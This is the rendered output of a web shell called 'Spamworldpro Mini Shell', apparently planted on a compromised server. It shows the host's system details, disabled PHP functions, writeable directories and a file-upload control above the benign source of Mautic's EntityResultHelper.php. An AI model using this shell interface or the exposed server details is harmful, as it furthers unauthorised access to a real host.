Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/ApiBundle/Helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/app/bundles/ApiBundle/Helper/EntityResultHelper.php
<?php

namespace Mautic\ApiBundle\Helper;

use Doctrine\ORM\Tools\Pagination\Paginator;

class EntityResultHelper
{
    /**
     * @param array<mixed>|Paginator<mixed> $results
     * @param callable|null                 $callback
     *
     * @return array<mixed>|\ArrayObject<int,mixed>
     */
    public function getArray($results, $callback = null)
    {
        $entities = [];

        // we have to convert them from paginated proxy functions to entities in order for them to be
        // returned by the serializer/rest bundle
        foreach ($results as $key => $entityRow) {
            $entities[$key] = $this->getEntityData($entityRow);

            if (is_callable($callback)) {
                $callback($entities[$key]);
            }
        }

        // solving array/object discrepancy for empty values
        if ($this->isKeyedById($results) && empty($entities)) {
            $entities = new \ArrayObject();
        }

        return $entities;
    }

    /**
     * @param mixed $entityRow
     *
     * @return mixed
     */
    private function getEntityData($entityRow)
    {
        if (is_array($entityRow) && isset($entityRow[0])) {
            return $this->getDataForArray($entityRow);
        }

        return $entityRow;
    }

    /**
     * @param array $array
     *
     * @return mixed
     */
    private function getDataForArray($array)
    {
        if (is_object($array[0])) {
            return $this->getDataForObject($array);
        }

        return $array[0];
    }

    /**
     * @param object $object
     *
     * @return mixed
     */
    private function getDataForObject($object)
    {
        foreach ($object as $key => $value) {
            if (0 === $key) {
                continue;
            }

            $object[0]->$key = $value;
        }

        return $object[0];
    }

    /**
     * @param array<mixed>|Paginator<mixed> $results
     */
    private function isKeyedById($results): bool
    {
        return !$results instanceof Paginator;
    }
}

Spamworldpro Mini